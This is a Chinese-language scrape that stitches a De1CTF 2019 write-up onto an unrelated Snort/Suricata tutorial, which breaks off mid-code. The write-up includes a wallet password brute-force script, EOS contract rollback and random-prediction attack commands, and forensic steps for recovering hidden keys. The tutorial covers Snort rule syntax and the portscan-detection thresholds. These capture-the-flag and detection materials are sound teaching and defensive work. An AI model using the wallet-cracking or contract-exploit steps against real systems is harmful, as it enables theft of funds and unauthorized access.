for (int i = 0; i < SwingNum; i++)
{
int x = SwingPosX[i];
int y = SwingPosY[i];
eleGrids[x, y].bIsMine = RandomNum[i] > 60 ? false : true ;
DevilsInHeaven[x, y] = eleGrids[x, y].bIsMine == true ? 1 : 0;
}
}
Grid.cs是控制网格的脚本，主要就是检测游戏输赢以及是否按下reset按钮，ChangeMap函数会将六个摇摆位的01随机化，起到混淆作用
#### exp
1. 直接做，每次点到雷了，就记录雷的位置，反正reset按钮只会将格子都翻面，不会改变格子的01值，保守估计30min可以解决
2. 逆向，分析Elements.cs，得知每个格子是不是雷，是通过全局数组决定的，然后拿全局数组MayWorldBeAtPeace和AreYouFerryMen做对应处理就可以了
3. 动态调试，在游戏进去后查看Grid.cs中的，用来保存游戏数据以便reset按钮执行的DevilsInHeaven数组，解决
4. 改代码，通过底层修改Grid.cs中检测游戏输赢的if语句，直接加载最后的二维码
## DeepInReal
压缩包解压得到三个文件。
先看 `from-officer.txt`。
大概意思是说，这个二进制文件是从嫌疑人的移动硬盘里恢复出来的，是一个 `AES-256` 加密文件，解密的密钥是世界上最常用和最弱的。
根据 `officer` 的提示，我们可以上网查一下世界上最常用和最弱的密码是什么。
根据维基百科的记录， 2019 年最常用的密码排在第一位的是 `123456` 。
那么我们用题目所提供的加解密软件 `WinAES` 和密钥 `123456` 即可解密 `recovered.bin` 文件。
得到解密文件 `recovered.bin.decrypted`，很自然地想查看文件类型，就去查看一下文件的头部。
这个文件原名叫 `linj.vmdk`，是一个 `vmdk` 映像文件。它的文件头部被修改过，我们可以参照其它 `vmdk`
格式的文件头部，把头部改回正常。
这时候就是一个正常的 `vmdk` 文件了。我们可以使用 `开源取证工具` 或者 `商业取证工具` 进行 静态取证，也可以使用 `专业仿真软件` 或者
`VMware` 进行 `动态取证`。
我这里使用 `取证大师` 进行 `静态取证`，使用 `VMware` 进行 `动态取证`。
在 `VMware` 中加载这个镜像文件，开机后登录系统需要密码，密码提示 `headers` 。
刚才我们在文件头处看到了 `i_love_kdmv`，这个就是系统登录的密码。
登录后，在桌面右上角看到一张便签，大概意思是，“你不应该到这里来，我已经删除了一条重要的钥匙，怎么找到我？”。
这里的“我”指的是“便签”。嫌疑人很可能使用系统自带的功能进行信息的隐藏。我们可以先找到 `windows 10` 下创建标签的方式，就是按下
`win+w` 键。
从右边弹出的侧菜单栏可以看到，`sketchpad` 功能处写着 `bitlock`，点进去看看。
可以看到 `bitlocker` 的密码，`linj920623!@#`，系统中确实存在一个 `bitlocker` 的加密盘。
使用密码进行解密，可以成功解开加密盘。
加密盘里有两个值得留意的文件。
一个是数字货币加密钱包文件，另一个是密码字典。这可能是嫌疑人用来进行资金流通的数字货币钱包。
我们尝试写个脚本，使用密码字典对加密钱包文件进行暴力破解。
import eth_keyfile
import json
fp = open('ethpass.dict', 'r')
wallet = json.loads(open('UTC--2019-07-09T21-31-39.077Z--266ed8970d4713e8f2701cbe137bda2711b78d57', 'r').read())
while True:
try:
password = fp.readline().strip().encode('ascii')
if len(password) <= 0 :
print("password not found")
break
except:
continue
try:
result = eth_keyfile.decode_keyfile_json(wallet, password)
except:
continue
print(password)
print(result)
break
暴力破解可以得到结果，加密钱包密码为 `nevada`，钱包私钥为 `VeraCrypt Pass: V3Ra1sSe3ure2333`。
私钥提示我们有一个 `VeraCrypt` 加密的容器，它的加密密码为 `V3Ra1sSe3ure2333`。
那么我们需要先找到这个容器文件。这里可以使用全盘搜索包含特定字串的方法，找到这个加密容器文件。我这里使用 `取证大师` 进行取证，直接在 `加密文件`
处可以找到这个文件。
可是在 `VMware` 相对应的路径下找不到这个文件，想起便签处的提示，可能在系统加载的时候该文件被删除了。
我们在系统启动项处，找到一个自动删除 `.mylife.vera` 文件的隐藏脚本文件。嫌疑人故意设置了一个简易的开机自删除功能。
那么我们可以直接在 `取证大师` 中导出该文件，也可以从系统盘的用户缓存目录下找到该文件。
使用 `VeraCrypt` 和之前找到的密码 `V3Ra1sSe3ure2333` 进行解密并挂载。
我们可以找到看到加密容器内，一共有 `184` 个文件，有一堆生活照，还有一个 `readme` 文件。
`readme` 文件提示这里有 `185` 个文件，其中 `183` 张照片是我的生活照，所以必然有一个文件被隐藏了。
这个文件系统为 `NTFS`，想起嫌疑人可能使用 `NTFS交换数据流` 的方式进行文件隐藏。
在 `cmd` 下使用 `dir /r` 命令可以看到隐藏文件 `528274475768683480.jpg:k3y.txt:$DATA`。
使用 `notepad 528274475768683480.jpg:k3y.txt` 命令，直接使用记事本打开被隐藏的文件。
可以得到一串密码 `F1a9ZiPInD6TABaSE`，并且根据密码的提示，`flag.zip`
文件在数据库里。嫌疑人可能把重要文件存放在电脑的数据库里。
想起嫌疑人的电脑装有 `phpStudy` 和 `Navicat`，直接启动 `mysql`，使用 `Navicat` 查看数据库。
看到几个数据库的名称，与 `bitlocker` 加密盘下 `gambling` 文件夹里的几个 `.sql` 文件名一致。
那么我们可以比较 `.sql` 文件里的数据与数据库里的数据，找到数据库 `tencent` 里多了一张表 `auth_secret` 。
字段名为 `file`，字段值是一串 `base64` 编码字符串。
导出解码，转换为二进制文件，得到一个 `zip` 文件。
压缩包注释里提示，“这是一个真正的flag文件”，需要找到密码解开。
我们用之前找到的密码 `F1a9ZiPInD6TABaSE`，解开 `flag.txt` 文件。
成功找到嫌疑人隐藏的重要信息。
Flag：`de1ctf{GeT_Deep3r_1N_REAl_lifE_fOrEnIcs}`
## Easy EOS
#### 方法一：交易回滚攻击
经观察，发现`bet action`
在一次交易中完成了猜数字游戏，并且发现若赢了，则users表中win的次数+1；若输了，则users表中lost的次数+1。
可以通过部署合约，通过`inline
action`的方式，分别进行猜数字和判断。第一个`action`猜数字，第二个`action`进行判断刚刚是否赢了。若赢了，则通过；若输了，则抛出异常，使整个交易回滚。（耍赖）
攻击方式
# 设置权限
cleos set account permission gllrgjlqclkp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"gllrgjlqclkp","permission":"eosio.code"},"weight":1}]}' owner -p gllrgjlqclkp@owner
# 编译合约
cd attack4
eosio-cpp -o attack4.wasm attack4.cpp
# 部署合约
cleos set contract gllrgjlqclkp . -p gllrgjlqclkp@active
# 调用makebet方法多次，直到账号win次数大于等于10
cleos push action gllrgjlqclkp makebet '[]' -p gllrgjlqclkp@active
# 请求发送flag
cleos push action de1ctftest11 sendmail '["gllrgjlqclkp", "[email protected]"]' -p gllrgjlqclkp@active
#### 方法二：伪随机数攻击
经过反编译得到伪随机数产生的算法，部署相应的合约，在一次交易中，计算将要产生的随机数，然后用该随机数调用目标合约的`bet action`。
攻击方式
# 设置权限
cleos set account permission btdaciaibmfp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"btdaciaibmfp","permission":"eosio.code"},"weight":1}]}' owner -p btdaciaibmfp@owner
# 编译合约
cd attack
eosio-cpp -o attack.wasm attack.cpp
# 部署合约
cleos set contract btdaciaibmfp . -p btdaciaibmfp@active
# 调用makebet方法10次
cleos push action btdaciaibmfp makebet '[]' -p btdaciaibmfp@active
# 请求发送flag
cleos push action de1ctftest11 sendmail '["btdaciaibmfp", "[email protected]"]' -p btdaciaibmfp@active
## DeepEncrypt
#### 赛题背景
如今机器学习以及深度学习在各个领域广泛应用，包括医疗领域、金融领域、网络安全领域等等。深度学习需要大量的训练数据作为支持，然而如何保证训练的数据的安全性是值得我们考虑的。现在提出了许多基于深度学习模型的[模型逆向攻击](https://www.cs.cmu.edu/~mfredrik/papers/fjr2015ccs.pdf)，来对用户的数据进行窃取。
本题模拟了一种基于深度学习的模型，对一些用户数据（flag）进行一系列的处理之后生成“加密”之后的数据，让选手使用提供的数据，训练解密模型，获取原始的flag。
#### 赛题流程
#### 提供文件：
* flag_sample.txt :用于训练的flag样本。
* enc_sample.txt :用于训练的加密之后的flag样本。
* enc.hdf5: 基于keras训练的flag加密模型。
* flag_enc.txt: 选手需要解密的flag (flag in server-> enc.hdf5-> flag_enc.txt)
#### 提供接口：
用于给选手提交解密之后的flag，和真实flag进行对比，误差小于0.2（可以减小误差要求，增加难度）即可通过，给出真实flag。
```python
import numpy as np
flag = np.loadtxt("../data/flag.txt")
true_flag = "de1ctf{xxx_xxx_xxx}"
threshold=0.2
def mse(true, predict):
loss = np.average(np.abs(true - predict))
print(loss)
return loss
def judge(predict):
if mse(flag, predict) < threshold:
print(true_flag)
else:
print("You can't fool me")
if **name** == " **main** ":
inp = input("Input your flag_dec result:")
inp = np.asarray(inp.split(' '), dtype=float)
judge(inp)
#### 解题脚本
利用AutoEncoderDecoder思路，利用所给的Enc模型，训练解密模型。
可以直接运行`python solve.py`，结果在flag_dec.txt中，直接复制到到云服务器上进行检验，底下也有已经通过解密的结果。（可能要跑几次才能出结果，所以我测试的时候用的是本地测试）
requirements
keras
sklearn
numpy
Dec model:
| Layer (type) | Output Shape | Param |
| :------------------: | :----------: | :-----: |
| input_1 (InputLayer) | (None, 64) | 0 |
| dense_1 (Dense) | (None, 2048) | 133120 |
| dense_2 (Dense) | (None, 2048) | 4196352 |
| dense_3 (Dense) | (None, 128) | 262272 |
Total params: 4,591,744
Trainable params: 4,591,744
Non-trainable params: 0
_________________________________________________________________
AutoEncoderDecoder：
| Layer (type) | Output Shape | Param |
| :----------: | :----------: | :-----: |
| Enc (Model) | (None, 64) | 8256 |
| Dec (Model) | (None, 128) | 4591744 |
Total params: 4,600,000
Trainable params: 4,591,744
Non-trainable params: 8,256
```python
def dec_model(enc_shape, flag_shape):
inp = Input((enc_shape,))
h = Dense(2048)(inp)
h = Dense(2048)(h)
out = Dense(flag_shape, activation='sigmoid')(h)
return Model(inp, out)
def load_data(flag_name, enc_name):
'''
:param path: data path
:return:
flag_sample: shape=(512,128)
enc_sample:shape=(512,64)
'''
flag_sample = np.loadtxt(flag_name)
enc_sample = np.loadtxt(enc_name)
return flag_sample, enc_sample
def train_dec(flag_sample, enc_sample):
flag_shape = flag_sample.shape[-1]
enc_shape = enc_sample.shape[-1]
Enc_model = load_model("../model/enc.hdf5")
Enc_model.name = "Enc"
Dec_model = dec_model(enc_shape, flag_shape)
print("Train Dec_model")
Enc_model.trainable = False
inp = Enc_model.inputs
dec = Enc_model(inp)
out = Dec_model(dec)
model = Model(inp, out)
model.compile(loss='mean_absolute_error', optimizer='Adam')
print(model.summary())
ear = EarlyStopping(monitor='val_loss', patience=10, mode='min', restore_best_weights=True)
model.fit(flag_sample, flag_sample, batch_size=512, epochs=100000000, verbose=2, validation_split=0.1,
callbacks=[ear])
print(Dec_model.summary())
Dec_model.save(dec_loss0.177.hdf5)
def solve():
Dec_model = load_model(dec_loss0.177.hdf5)
flag_enc = np.loadtxt("../data/flag_enc.txt").reshape(1, -1)
flag_dec = Dec_model.predict(flag_enc)
np.savetxt("../data/flag_dec.txt", flag_dec)
# print(flag_dec[0])
judge(flag_dec[0])
#### 结果
loss: 0.17741050019098772
delta{xxx_xxx_xxx}
flag:
> 1 0 1 1 1 1 0 1 1 1 0 1 0 0 0 1 0 1 1 1 1 1 1 1 1 0 0 0 0 1 0 1 1 0 1 0 0 0
> 1 0 0 0 1 0 1 0 0 0 1 1 1 0 1 1 0 1 1 0 0 0 0 1 1 0 0 1 1 0 0 0 0 1 1 1 1 0
> 0 1 0 0 0 0 0 1 1 0 0 1 1 1 1 0 1 0 1 1 1 1 0 0 0 1 1 0 0 1 1 0 0 0 1 1 1 1
> 0 0 1 0 0 1 1 1 0 1 1 1 0 0
flag_enc:
> -4.286013841629028320e-01 9.896190166473388672e-01 4.559664130210876465e-01
> 8.176887035369873047e-01 8.356271386146545410e-01 3.765194416046142578e-01
> 1.687297374010086060e-01 3.029667437076568604e-01 5.969925522804260254e-01
> 5.114848613739013672e-01 9.926454722881317139e-02 9.131879210472106934e-01
> -2.152046710252761841e-01 8.866041898727416992e-02 3.317154347896575928e-01
> 9.851776361465454102e-01 7.276151180267333984e-01 8.283065557479858398e-01
> 1.823632977902889252e-03 3.699933588504791260e-01 6.979680061340332031e-02
> 1.828217357397079468e-01 5.757516622543334961e-01 1.914786100387573242e-01
> 3.244600296020507812e-01 1.111515283584594727e+00 5.159097313880920410e-01
> 1.231751441955566406e-01 -3.645407259464263916e-01 7.166512608528137207e-01
> 1.389274299144744873e-01 7.724004983901977539e-02 7.178838849067687988e-01
> -9.603453427553176880e-02 5.028448104858398438e-01 3.499638140201568604e-01
> 8.395515680313110352e-01 6.976196765899658203e-01 2.593761086463928223e-01
> 7.141951918601989746e-01 6.022385954856872559e-01 1.001740217208862305e+00
> -2.897696197032928467e-01 1.448748558759689331e-01 8.408914208412170410e-01
> 2.470737695693969727e-01 4.430454969406127930e-01 -2.019447684288024902e-01
> 8.161327838897705078e-01 2.832469642162322998e-01 6.612138748168945312e-01
> 9.899861216545104980e-01 2.219144105911254883e-01 1.322134375572204590e+00
> 7.497617006301879883e-01 9.182292222976684570e-01 6.070237755775451660e-01
> 3.877772092819213867e-01 3.660472482442855835e-02 7.972034811973571777e-01
> -2.158393338322639465e-02 5.925227403640747070e-01 5.734952688217163086e-01
> -5.487446486949920654e-02
flag_dec:
> 9.999969005584716797e-01 1.000000000000000000e+00 1.000000000000000000e+00
> 8.216343522071838379e-01 1.000000000000000000e+00 2.449917824165481761e-09
> 4.793806410857692768e-13 9.827108979225158691e-01 1.000000000000000000e+00
> 9.518706798553466797e-01 4.392772812167322627e-09 6.113789975643157959e-03
> 4.152511974098160863e-05 4.196180736215637808e-09 7.207927703857421875e-01
> 2.705646342008542066e-14 6.214135623849870171e-07 9.999998807907104492e-01
> 9.499107003211975098e-01 1.000000000000000000e+00 1.000000000000000000e+00
> 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00
> 9.999998807907104492e-01 1.134839401270570924e-12 1.000000000000000000e+00
> 1.000000000000000000e+00 1.772474402327793816e-22 9.627295136451721191e-01
> 8.082498652584035881e-07 5.288467742502689362e-03 1.000000000000000000e+00
> 1.356615761025602163e-14 9.699743986129760742e-01 9.680391289293766022e-03
> 1.000000000000000000e+00 3.494189800782449007e-13 1.000000000000000000e+00
> 3.159084932123808198e-14 2.154111511019039804e-14 5.770184313065346467e-16
> 1.000000000000000000e+00 1.002021781459916383e-05 9.999998807907104492e-01
> 8.955678204074501991e-04 1.000000000000000000e+00 9.489459000600186244e-18
> 8.299213051795959473e-01 9.961280226707458496e-01 9.470678567886352539e-01
> 1.103274103880202014e-22 1.000000000000000000e+00 6.979074478149414062e-01
> 2.365609405194221800e-20 1.000000000000000000e+00 1.000000000000000000e+00
> 1.236146737271584528e-13 6.457178387790918350e-04 5.910291671752929688e-01
> 9.847130749696120233e-11 1.000000000000000000e+00 2.832969698829401750e-07
> 3.806088219523060032e-21 4.788258164282160009e-21 1.000000000000000000e+00
> 1.000000000000000000e+00 9.999659061431884766e-01 6.373043248686371953e-08
> 9.844582080841064453e-01 1.429801388397322626e-09 9.504914879798889160e-01
> 9.991403818130493164e-01 2.418865845658057272e-19 1.000000000000000000e+00
> 2.270782504153226976e-17 2.376812939172689987e-12 1.000000000000000000e+00
> 1.241249365389798104e-14 1.346701979637145996e-01 3.604641086571485015e-16
> 3.174040572003981712e-17 2.682143889551155425e-18 1.000000000000000000e+00
> 1.000000000000000000e+00 1.364883929491043091e-01 4.823155208555363060e-09
> 8.947684168815612793e-01 4.979012906551361084e-02 9.936627149581909180e-01
> 1.000000000000000000e+00 6.171471613924950361e-05 1.000000000000000000e+00
> 3.350817401326366962e-10 9.962311387062072754e-01 8.754302263259887695e-01
> 1.577300601240949618e-08 1.000000000000000000e+00 8.513422443141155371e-14
> 1.534198522347082760e-13 4.049778076177301201e-16 5.455599006151120746e-18
> 8.422639439231716096e-06 6.625648587942123413e-02 2.438588886377601739e-09
> 1.000000000000000000e+00 1.000000000000000000e+00 3.147949101389713178e-08
> 7.443545779750593283e-11 7.562025007915029740e-13 9.984059929847717285e-01
> 1.000000000000000000e+00 1.000000000000000000e+00 9.997273981571197510e-02
> 6.106127430939578549e-13 4.462333163246512413e-05 9.999997615814208984e-01
> 1.432137628991099035e-24 9.999928474426269531e-01 1.000000000000000000e+00
> 2.727753134479371511e-09 1.000000000000000000e+00 2.289682043965513003e-07
> 9.587925076484680176e-01 9.999778270721435547e-01 1.000000000000000000e+00
> 1.434007310308516026e-03 7.365300120909523685e-07
## Upgrade
出这个类型的题，主要是考察选手对加密固件的提取，题目涉及的是DIR-850L固件的真实加解密，也是希望选手在做了题之后有所收获，能够在真实设备上做进一步的漏洞挖掘
这道题有两个预期解，一是直接通过逆向升级的部分编写解密脚本，加密不是很难，已给出了AES所需的key，对设备有一些研究的在看了这个cgi-bin之后通常都能猜到是哪些型号，所以我patch掉了一些信息；二是巧解，在固件升级的过程中他可以直接调用解密程序对固件解密，所以需要qemu运行一个同架构的虚拟机，然后调用解密程序解出来 | 社区文章 |
# snort 和 Suricata
> <https://www.aldeid.com/wiki/Suricata-vs-snort>
知乎发现 raul17 的译文
> <https://zhuanlan.zhihu.com/p/34329072>
rules下载
> <https://rules.emergingthreats.net/OPEN_download_instructions.html>
>
> ## snort
>
> <https://www.snort.org/documents>
> <https://www.snort.org/rule-docs>
> <http://manual-snort-org.s3-website-us-east-1.amazonaws.com/>
> <https://www.cnblogs.com/HacTF/p/7992787.html>
* Sniffer mode, which simply reads the packets off of the network and displays them for you in a continuous stream on the console (screen).
* Packet Logger mode, which logs the packets to disk.
* Network Intrusion Detection System (NIDS) mode, which performs detection and analysis on network traffic. This is the most complex and configurable mode.
NIDS 模式下，可以分析网络流量，检测出各种不同的攻击方式，对攻击进行报警。
Snort的结构由4大软件模块组成，它们分别是：
1. 数据包嗅探模块
2. 预处理模块——该模块用相应的插件来检查原始数据包，从中发现原始数据的“行为”，如端口扫描，IP碎片等，数据包经过预处理后才传到检测引擎；
3. 检测模块——当数据包从预处理器送过来后，检测引擎依据预先设置的规则检查数据包，一旦发现数据包中的内容和某条规则相匹配，就通知报警模块；
4. 报警/日志模块
### 预处理器
**以下参考 SNORT Users Manual 2.9.13**
* Frag3 IP分片重组和攻击监测
* Session
* Stream
* sfPortscan 检测端口扫描
* RPC Decode
* Performance Monitor
* HTTP Inspect
* SMTP Preprocessor
* POP Preprocessor
* IMAP Preprocessor
* FTP/Telnet Preprocessor
* SSH
* DNS
* SSL/TLS
* ARP Spoof Preprocessor
* DCE/RPC 2 Preprocessor
* Sensitive Data Preprocessor
* Normalizer
* SIP Preprocessor
* Reputation Preprocessor
* GTP Decoder and Preprocessor
* Modbus Preprocessor
* DNP3 Preprocessor
* AppId Preprocessor
### 规则语法
Snort使用一种简单的规则描述语言，这种描述语言易于扩展，功能也比较强大。Snort规则是基于文本的，规则文件按照不同的组进行分类。
类型 | 说明
---|---
general | 这些选项提供有关规则的信息，但在检测期间没有任何影响
payload | These options all look for data inside the packet payload and can be
inter-related
non-payload | These options look for non-payload data 此类规则选项都是对数据包帧结构中特殊字段的匹配。
post-detection | 这些选项是特定于规则的触发器，发生在规则“触发”之后。
每类规则提供了不同的body 规则选项 关键字
示例:`alert tcp any any -> 192.168.1.1 80 ( msg:"A ha!"; content:"attack";
sid:1; )`
结构: `action proto source dir dest ( body )`
1. action :
* alert 生成警报
* log 记录
* pass 忽略
* drop 阻塞并记录数据包
* reject 阻塞并记录数据包，如果是 tcp 包则发送一个 TCP reset；如果是 udp 则发送一个 ICMP port unreachable message。
* sdrop 阻塞数据包，但不记录
* Activate and Dynamic rules are phased out in favor of a combination of tagging and flowbits
2. proto
ip, icmp, tcp, udp
3. source
源地址
4. dir
必须是如上所示的单向或<>所示的双向。
5. dest
目的地址
**body 规则选项**
具体看 Users Manual
* sid map
sid这个关键字被用来识别snort规则的唯一性,map文件用来将sid 和 msg对应
* content
Snort重要的关键词之一。它规定在数据包的负载中搜索指定的样式。它的选项数据可以包含混合的文本和二进制数据。二进制数据一般包含在管道符号中“|”，表示为字节码（bytecode），也就是将二进制数据的十六进制形式。
alert tcp any any -> any 139 (content:"|5c 00|P|00|I|00|P|00|E|00 5c|";)
alert tcp any any -> any 80 (content:!“GET”;)
* Nocase content字符串大小写不敏感
* rawbytes 直接匹配原始数据包
* Depth 匹配的深度
* Offset 开始匹配的偏移量
* Distance 两次content匹配的间距
* Within 两次content匹配之间至多的间距
* http_cookie 匹配cookie
* http_raw_cookie 匹配未经normalize的cookie
* http_header 匹配header
* http_raw_header 匹配未经normalize的header
* http_method 匹配method
* http_url 匹配url
* http_raw_url 匹配日在未经normalize的url中
* http_stat_code 匹配状态码中匹配
* http_stat_msg 匹配状态信息
* http_encode 匹配编码格式
* pcre
允许用户使用与PERL语言相兼容的正则表达式。
`pcre:[!]"(/<regex>/|m<delim><regex><delim>)[ismxAEGRUBPHMCOIDKY]`
`alert tcp any any -> any 80 (content:“/foo.php?id=";
pcre:"/\/foo.php?id=[0-9]{1,10}/iU";)`
* rawbytes
忽略解码器及预处理器的操作，直接匹配原始网络包。
### 端口扫描检测
#### sfPortscan 预处理器
攻击者预先并没有目标的信息，大多数攻击者发送的请求都会被拒绝（端口关闭）。在正常的网络通讯中，被拒绝的响应是稀少的，并且在一小段时间中出现大量拒绝响应更稀少。我们检测端口扫描的主要目的是检测和跟踪这些被拒绝的响应。
目前最广泛使用的端口扫描器是Nmap，sfPortscan 被设计用来检测Nmap产生的不同类型的扫描。
* Portscan
传统端口扫描，一个主机扫描另一主机的大量端口，大多数请求都被拒绝，因为只有部分开发端口
* Decoy(诱骗) Portscan
攻击者有一个伪造的源地址与真实的扫描地址混杂在一起。这种策略有助于隐藏攻击者的真实身份。
* Distributed(分布式) Portscan
Negative queries will be distributed among scanning hosts, so we track this
type of scan through the scanned host(通过被扫主机追踪这种行为？)
* Portsweep
一台主机扫描多个主机上的一个端口。
portsweep 扫描的特性可能不会导致许多拒绝响应。例如，如果攻击者扫描 80端口，我们很可能不会看到很多拒绝响应。
* Filtered Portscan 报文无法到达指定的端口
配置选项
1. sense_level
* low
仅通过错误packets 生成，误报极少。设置的时间窗口为60秒，之后重新从统计、
* medium
通过跟踪连接数产生警报，但在NAT、代理、dns缓存等地方可能产生误报。时间窗 90 秒
* high
持续监控，可以捕获一些慢速扫描。时间窗600秒
2. detect_ack_scans
默认关闭
This option will include sessions picked up in midstream by the stream module,
which is necessary to detect ACK scans. However, this can lead to false
alerts, especially under heavy load with dropped packets; which is why the
option is off by default.
src\preprocessors\portscan.h
src\preprocessors\portscan.c
src\preprocessors\spp_sfportscan.c
src\preprocessors\spp_sfportscan.h
根据 sense_level 查找相关代码
* 设置不同级别时间窗
static int ps_proto_update_window(PS_PROTO *proto, time_t pkt_time)
{
time_t interval;
switch(portscan_eval_config->sense_level)
{
case PS_SENSE_LOW:
//interval = 15;
interval = 60;
break;
case PS_SENSE_MEDIUM:
//interval = 15;
interval = 90;
break;
case PS_SENSE_HIGH:
interval = 600;
break;
default:
return -1;
}
* 规则阈值配置
1. 结构体
typedef struct s_PS_ALERT_CONF
{
short connection_count;
short priority_count;
short u_ip_count;
short u_port_count;
} PS_ALERT_CONF;
* connection_count
onnection_count指明了当前时间段内在主机(src or
dst)上有多少活跃的连接。该字段对于基于连接的协议(TCP)很准确，对于其它协议（UDP等），它是一个估计值。portscan是否被过滤可以用该字段进行辨别，如果connection_count较大，而priority_count较小，则表明portscan被过滤了。
* priority_count
记录”bad responses”（无效响应，如TCP RST, ICMP unreachable）.
priority_count越大，说明捕获的无效响应包越多. 在判断扫描时 priority_count 是先于
connection_count进行判断的，它们俩是并列的，但是priority_count优先和阈值比较。
* u_ip_count
u_ip_count记录着和主机最后进行通信的IP地址(last_ip)，如果新来一个数据包，其源IP地址src_ip，如果src_ip
不等于last_ip，就对u_ip_count字段加1。对于Portscan类型扫描，该值比较小；对于活跃的主机（和外界通信频繁），这个值会比较大，这样有可能导致portscan被检测成Distributed
scan.
* u_port_count
u_port_count记录着和主机最后进行通信的端口（last_port），当新来的数据包的目的端口(dst_port)不等于last_port，那么对u_port_count加1.
2. 配置
static int ps_alert_tcp(PS_PROTO *scanner, PS_PROTO *scanned)
{
static PS_ALERT_CONF *one_to_one;
static PS_ALERT_CONF *one_to_one_decoy;
static PS_ALERT_CONF *one_to_many;
static PS_ALERT_CONF *many_to_one;
/*
** Set the configurations depending on the sensitivity
** level.
*/
switch(portscan_eval_config->sense_level)
{
case PS_SENSE_HIGH:
one_to_one = &g_tcp_hi_ps;
one_to_one_decoy = &g_tcp_hi_decoy_ps;
one_to_many = &g_tcp_hi_sweep;
many_to_one = &g_tcp_hi_dist_ps;
......
/*
** Scanning configurations. This is where we configure what the thresholds
** are for the different types of scans, protocols, and sense levels. If
** you want to tweak the sense levels, change the values here.
*/
/*
** TCP alert configurations
*/
static PS_ALERT_CONF g_tcp_low_ps = {0,5,25,5};
static PS_ALERT_CONF g_tcp_low_decoy_ps = {0,15,50,30};
static PS_ALERT_CONF g_tcp_low_sweep = {0,5,5,15};
static PS_ALERT_CONF g_tcp_low_dist_ps = {0,15,50,15};
static PS_ALERT_CONF g_tcp_med_ps = {200,10,60,15};
static PS_ALERT_CONF g_tcp_med_decoy_ps = {200,30,120,60};
static PS_ALERT_CONF g_tcp_med_sweep = {30,7,7,10};
static PS_ALERT_CONF g_tcp_med_dist_ps = {200,30,120,30};
static PS_ALERT_CONF g_tcp_hi_ps = {200,5,100,10};
static PS_ALERT_CONF g_tcp_hi_decoy_ps = {200,7,200,60};
static PS_ALERT_CONF g_tcp_hi_sweep = {30,3,3,10};
static PS_ALERT_CONF g_tcp_hi_dist_ps = {200,5,200,10};
/*
** UDP alert configurations
*/
static PS_ALERT_CONF g_udp_low_ps = {0,5,25,5};
static PS_ALERT_CONF g_udp_low_decoy_ps = {0,15,50,30};
static PS_ALERT_CONF g_udp_low_sweep = {0,5,5,15};
static PS_ALERT_CONF g_udp_low_dist_ps = {0,15,50,15};
static PS_ALERT_CONF g_udp_med_ps = {200,10,60,15};
static PS_ALERT_CONF g_udp_med_decoy_ps = {200,30,120,60};
static PS_ALERT_CONF g_udp_med_sweep = {30,5,5,20};
static PS_ALERT_CONF g_udp_med_dist_ps = {200,30,120,30};
static PS_ALERT_CONF g_udp_hi_ps = {200,3,100,10};
static PS_ALERT_CONF g_udp_hi_decoy_ps = {200,7,200,60};
static PS_ALERT_CONF g_udp_hi_sweep = {30,3,3,10};
static PS_ALERT_CONF g_udp_hi_dist_ps = {200,3,200,10};
/*
** IP Protocol alert configurations
*/
static PS_ALERT_CONF g_ip_low_ps = {0,10,10,50};
static PS_ALERT_CONF g_ip_low_decoy_ps = {0,40,50,25};
static PS_ALERT_CONF g_ip_low_sweep = {0,10,10,10};
static PS_ALERT_CONF g_ip_low_dist_ps = {0,15,25,50};
static PS_ALERT_CONF g_ip_med_ps = {200,10,10,50};
static PS_ALERT_CONF g_ip_med_decoy_ps = {200,40,50,25};
static PS_ALERT_CONF g_ip_med_sweep = {30,10,10,10};
static PS_ALERT_CONF g_ip_med_dist_ps = {200,15,25,50};
static PS_ALERT_CONF g_ip_hi_ps = {200,3,3,10};
static PS_ALERT_CONF g_ip_hi_decoy_ps = {200,7,15,5};
static PS_ALERT_CONF g_ip_hi_sweep = {30,3,3,7};
static PS_ALERT_CONF g_ip_hi_dist_ps = {200,3,11,10};
/*
** ICMP alert configurations
*/
static PS_ALERT_CONF g_icmp_low_sweep = {0,5,5,5};
static PS_ALERT_CONF g_icmp_med_sweep = {20,5,5,5};
static PS_ALERT_CONF g_icmp_hi_sweep = {10,3,3,5};
static int ps_get_proto(PS_PKT *, int *);
* 扫描检测逻辑
**以sense_level high 的 one_to_one 扫描即传统端口扫描为例**
配置`static PS_ALERT_CONF g_tcp_hi_ps = {200,5,100,10}`
这里scanned 都是被扫描主机的统计。scanner 为攻击主机的信息。
1. 比较`scanned->priority_count >= 5// conf->priority_count`
1. `scanned->u_ip_count < 100 //conf->u_ip_count`
`&& scanned->u_port_count >= 10 //conf->u_port_count`
600 秒时间窗内 错误包>=5，不同连接ip数<100，不同端口数>=10 即判断为扫描
2. 比较`scanned->connection_count >= 200 //conf->connection_count`
1. `scanned->u_ip_count < 100//conf->u_ip_count`
`&& scanned->u_port_count >= 10//conf->u_port_count`
600 秒时间窗内 活跃连接数>=200，不同连接ip数<100，不同端口数>=10 即判断为扫描
static int ps_alert_one_to_one(PS_PROTO *scanner, PS_PROTO *scanned,
PS_ALERT_CONF *conf, int proto)
{
int action;
if(!conf)
return -1;
/*
** Let's evaluate the scanned host.
*/
if(scanned)
{
if(scanned->priority_count >= conf->priority_count)
{
action = ps_get_rule_action(proto, PS_ALERT_ONE_TO_ONE);
if ((action == RULE_TYPE__DROP) ||
(action == RULE_TYPE__SDROP) ||
(action == RULE_TYPE__REJECT) ||
(!scanned->alerts))
{
if(scanned->u_ip_count < conf->u_ip_count &&
scanned->u_port_count >= conf->u_port_count)
{
if(scanner)
{
if(scanner->priority_count >= conf->priority_count)
{
/*
** Now let's check to make sure this is one
** to one
*/
scanned->alerts = PS_ALERT_ONE_TO_ONE;
return 0;
}
}
else
{
/*
** If there is no scanner, then we do the best we can.
*/
scanned->alerts = PS_ALERT_ONE_TO_ONE;
return 0;
}
}
}
}
if(scanned->connection_count >= conf->connection_count)
{
action = ps_get_rule_action(proto, PS_ALERT_ONE_TO_ONE_FILTERED);
if ((action == RULE_TYPE__DROP) ||
(action == RULE_TYPE__SDROP) ||
(action == RULE_TYPE__REJECT) ||
(!scanned->alerts))
{
if(conf->connection_count == 0)
return 0;
if(scanned->u_ip_count < conf->u_ip_count &&
